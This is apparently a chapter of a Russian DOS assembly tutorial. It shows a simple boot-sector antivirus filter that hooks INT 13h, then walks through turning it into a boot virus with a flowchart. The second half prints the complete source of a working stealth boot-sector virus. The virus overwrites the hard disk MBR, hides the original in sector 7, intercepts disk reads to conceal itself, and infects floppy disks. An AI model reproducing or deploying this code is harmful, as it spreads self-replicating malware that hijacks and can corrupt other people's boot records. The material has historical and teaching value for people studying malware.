TITLE Это - COM. программа N23 -- примитивный антивирусный фильтр ASSUME CS:CodeSegment ;───────────────────────────────────────────────────────────────────────── CodeSegment SEGMENT PARA ORG(100h) Start: MainProcedure PROC NEAR ; ; ;внимание! -- при имплан- ; ; тации в область MBR ; ; сектор должен заканчиваться ; ; сигнатурой 55AAh ; ; Code_begining:CLI ;┐ установка стека: XOR AX,AX ;├SS:SP = 0000:7C00 MOV SS,AX ;│ MOV SP,7C00h ;┘ MOV SI,SP ;SI = 7C00 MOV DS,AX ;DS = 0 STI ; MOV AX,word ptr DS:[0413h] ;┐уменьшаем количество сво- DEC AX ;│ бодной памяти на 1 Kб MOV word ptr DS:[0413h],AX ;┘ MOV CL,06 ;┐вычисляем сегментный адрес SHL AX,CL ;│свободного участка памяти MOV ES,AX ;┘ XOR DI,DI ;DI = 0 MOV CX,0100h ;┐пересылаем в захваченную CLD ;├нами область код резидента REPNE MOVSW ;┘ (здесь это - 1 Кб) ; PUSH ES ;┐ MOV AX,Continue_work-Code_begining;├JMP Far на продолжение PUSH AX ;│ кода уже в резиденте RETF ;┘ ; ;───────перехват вектора прерывания 13h──────────────────────┐ Continue_work:MOV AX,word ptr DS:[4Ch] │ MOV word ptr ES:[jmp_old_int13-Code_begining+1],AX │ MOV AX,word ptr DS:[4Eh] │ MOV word ptr ES:[jmp_old_int13-Code_begining+3],AX │ CLI │ MOV word ptr DS:[4Ch],Resident13_begining-Code_begining │ MOV word ptr DS:[4Eh],ES │ STI │ ;────────────────────────────────────────────────────────────┘ ; ;─────загрузка истин. MBR и передача управления ей───────────┐ MOV DX,0080h ;┐ side 0 disk 1 │ MOV CX,0007h ;│ cyl 0 sect 7 │ MOV BX,7C00h ;│ │ XOR AX,AX ;│ │ MOV ES,AX ;├загружаем MBR по адресу│ MOV AX,0201h ;│ 0000:7C00h │ INT 13h ;┘ │ DB 0EAh,00,7Ch,00,00 ;JMP far 0000:7C00h │ ;────────────────────────────────────────────────────────────┘ ; ;─────процедура обработки прерывания 13h─────────────────────┐ Resident13_begining: │ CMP CX,0001h ;┐ │ JNE jmp_old_int13 ;│ │ CMP DX,0080h ;│реализация стэлс-меха- │ JNE may_by_boot ;│низма: читающий сектор │ CMP AH,02 ;│0 0 1, получает истин. │ JNE may_by_write ;│MBR │ MOV CX,0007h ;┘ │ JMP Short jmp_old_int13 ; │ ; │ may_by_boot: CMP DX,0180h ;┐ │ JNE jmp_old_int13 ;│ │ may_by_write: CMP AH,03 ;│отслеживание попытки │ JNE jmp_old_int13 ;│записать что-то в │ MOV AX,3 ;│сектор 0 0 1 -- MBR │ INT 10h ;│или -- 0 1 1 -- BR │ PUSH CS ;┘ │ POP DS ;┐ │ MOV AH,9 ;│печать предупруждения │ MOV DX,admonition - Code_begining ;│о попытки записи │ INT 21h ;┘ │ XOR AX,AX ;┐ожидание нажатия клавиши INT 16h ;┘ │ DB 0EAh,00,00,0FFh,0FFh ;JMP far FFFF:0000h │ jmp_old_int13: ;┐здесь будет адрес старого ; ;│ обработчика INT 13h │ DB 0EAh,00,00,00,00 ;┘JMP far ????:????h │ ; │ ; │ admonition: DB 'System area writing attempt !!!',0Dh,0Ah │ DB 'Remove floppy disks & press any key...$' │ Resident_ending:───────────────────────────────────────────────────────────┘ ; ; ; MainProcedure ENDP ; CodeSegment ENDS END Start Что здесь новенького? Новое прерывание. Прерывание BIOS INT 16h (функция 0) -- ввод с клавиатуры. Когда дается это прерывание, PC замирает и ждет на- жатия клавиши. После нажатия клавиши соответствующий ASCII символ помещается в AL, а в AH устанавливается скэн-код. В этом примере прерывание 16 использу- ется просто для создания паузы -- ожидание нажатия любой клавиши. Еще здесь показана функция 9 прерывания 21h -- печать строки символов. С этой функцией мы уже встречались (см. пример 10). Напомним лишь кратко, что печатаемая строка символов обязательно должна заканчиваться символом "$". Ее адрес дол- жен быть загружен в пару регистров DS:DX. Удивительно, с какой легкостью показанный выше антивирус может превра- титься в полноценный (правда, - довольно примитивный) бутовый вирус. Изменить надо лишь чуть-чуть. Вот блок/схема; сравните: ┌─инициализационная часть─┐ _/резидентная часть\_ ┌───────────────────────────────────┐ ┌────────────────────────────────────┐ │ установка стека: SS=0, SP=7C00h │ │ читаеся сектор 0 0 1 HDD? если да -│ │(сам код начинается по 0000:7C00h) │ │подсовываем вместо него сектор 0 0 7│ └─────────────────┬─────────────────┘ │(истинную MBR,загодя там сохраненную) │ └─────────────────┬──────────────────┘ ┌─────────────────┴─────────────────┐ │ │ уменьшаем слово по адресу 0:413h │ ┌─────────────────┴──────────────────┐ └─────────────────┬─────────────────┘ │читаееся сектор 0 0 1 дискеты? нет, │ │ │уходим на IRET >>────────────────────┐ ┌─────────────────┴─────────────────┐ └─────────────────┬──────────────────┘│ │ пересылаем резидент в освободив- │ │ │ │ шуюся область │ ┌─────────────────┴──────────────────┐│ └─────────────────┬─────────────────┘ │включен ли мотор дисковода? да, -- ││ │ │уходим на IRET >>────────────────────> ┌─────────────────┴─────────────────┐ └─────────────────┬──────────────────┘│ │ делаем JMP far на продолжение кода│ │ │ │ уже в резиденте │ ┌─────────────────┴──────────────────┐│ └─────────────────┬─────────────────┘ │записываем код вируса в сектор 0 0 1││ │ │дискеты ││ ┌─────────────────┴─────────────────┐ └─────────────────┬──────────────────┘│ │ считываем по адресу 0000:7C00h │ ┌──┴──┐ │ │ истинную MBR (она была записана │ │ IRET│<───────────────┘ │ в сектор 0 0 7) │ └─────┘ └─────────────────┬─────────────────┘ │ ┌─────────────────┴─────────────────┐ │ перехватываем вектор прерывания │ │ 13h │ └─────────────────┬─────────────────┘ │ ┌─────────────────┴─────────────────┐ │проверяем, есть ли в считанной MBR │ │сигнатура вируса; если да - обходим│ │блок заражения >>────────────────────┐ └─────────────────┬─────────────────┘ │ │ │ ┌─────────────────┴─────────────────┐ │ │переписываем MBR в сектор 0 0 7 │ │ ├───────────────────────────────────┤ │ │записываем код вируса в сектор 001 │ │ └─────────────────┬─────────────────┘ │ │ │ ┌─────────────────┴─────────────────┐<┘ │ делаем JMP far на 0000:7C00h │ │ (отдаем управл-е истинной MBR) │ └───────────────────────────────────┘ Вот готовая программа: ┌──────────────────────────────────────────────────────────┐ │ пример 23 │: └──────────────────────────────────────────────────────────┘ .286p TITLE Это - COM. программа N23 -- примитивный бутовый вирус ASSUME CS:CodeSegment ;───────────────────────────────────────────────────────────────────────── CodeSegment SEGMENT PARA ORG(100h) Start: MainProcedure PROC NEAR ; ; ;внимание! -- при имплан- ; ; тации в область MBR ; ; сектор должен заканчиваться ; ; сигнфтурой 55AAh ; Code_begining:CLI ;┐ XOR AX,AX ;├SS:SP = 0000:7C00 MOV SS,AX ;│ перед областью MOV SP,7C00h ;┘ загруженного кода MOV SI,SP ;SI = 7C00 MOV DS,AX ;DS = 0 STI ;AX = 0 ; MOV BX,word ptr DS:[0413h] ;┐количество свободной DEC BX ;├памяти уменшилось на 1 Кб MOV word ptr DS:[0413h],BX ;┘ SHL BX,06 ;┬ES = сегмент начала свобод- MOV ES,BX ;┘ ной памяти XOR DI,DI ;DI = 0 MOV CX,0100h ;┐ CLD ;├пересылаем данный сектор REPNE MOVSW ;┘ в освобожден. область ; PUSH ES ;┐ MOV BX,Continue_work-Code_begining;├продолжаем выполнение уже PUSH BX ;│ в пересланном коде RETF ;┘ ; ; Continue_work:MOV DX,0080h ;┐ side 0 disk 1 MOV CX,0001h ;│ cyl 0 sect 7 MOV BX,7C00h ;│ PUSH DS ;│читаем MBR винчестера POP ES ;├(001) в буфер по адресу MOV AX,0201h ;│ 0000:7C00h INT 13h ;┘ ; MOV AX,word ptr DS:[4Ch] ;сохраняем вектор 21h MOV word ptr CS:[jmp_old_int13-Code_begining+1],AX MOV AX,word ptr DS:[4Eh] MOV word ptr CS:[jmp_old_int13-Code_begining+3],AX CLI MOV word ptr DS:[4Ch],Resident13_begining-Code_begining MOV word ptr DS:[4Eh],CS ;перехватываем вектор 21h STI ; ; CMP word ptr ES:[7C0Fh],01E8Bh ;┐ JNE treat_it ;├проверяем, есть ли CMP word ptr ES:[7C18h],0E3C1h ;│в MBR сигнатура JE no_treat_it ;┘ treat_it: MOV CX,0007h ;┐ MOV AX,0301h ;├перемещаем оригинальн. MBR INT 13h ;┘ ; PUSH CS ;┐ POP ES ;│ XOR BX,BX ;├замещаем оригинальн. MBR MOV CX,0001h ;│собственным кодом MOV AX,0301h ;│ INT 13h ;┘ no_treat_it: DB 0EAh,00,7Ch,00,00 ;JMP far 0000:7C00h ; ; Resident13_begining: CMP DX,0080h ;┐ JNE no_stealth ;│ CMP CX,0001h ;├включение JNE no_stealth ;│stealth-режима CMP AH,02h ;│ JNE no_stealth ;│ MOV CX,0007h ;│ JMP short jmp_old_int13 ;┘ ; no_stealth: CMP DL,01h ;проверка работы с JA jmp_old_int13 ; дисководами PUSH AX PUSH BX PUSH CX PUSH DX PUSH ES XOR AX,AX ;проверяем, включен ли MOV ES,AX ; уже мотор дисковода TEST byte ptr ES:[043Fh],1 ; JNZ motor_started ; XOR BX,BX ;┐ PUSH CS ;├обработка дискеты POP ES ;│ MOV DH,00 ;│ MOV CX,0001h ;│ MOV AX,0301h ;│ PUSHF ;│ PUSH CS ;┘ CALL jmp_old_int13 motor_started:POP ES POP DX POP CX POP BX POP AX jmp_old_int13: ;┐возврат управления DOS-у DB 0EAh,00,00,00,00 ;┘JMP far ????:????h ; ; Resident_ending: ; ; ; MainProcedure ENDP ; CodeSegment ENDS END Start Для некоторой оптимизации предусмотрено вот что: резидент заражает дис- кету только если мотор дисковода еще не включен (самое первое обращение к дискете).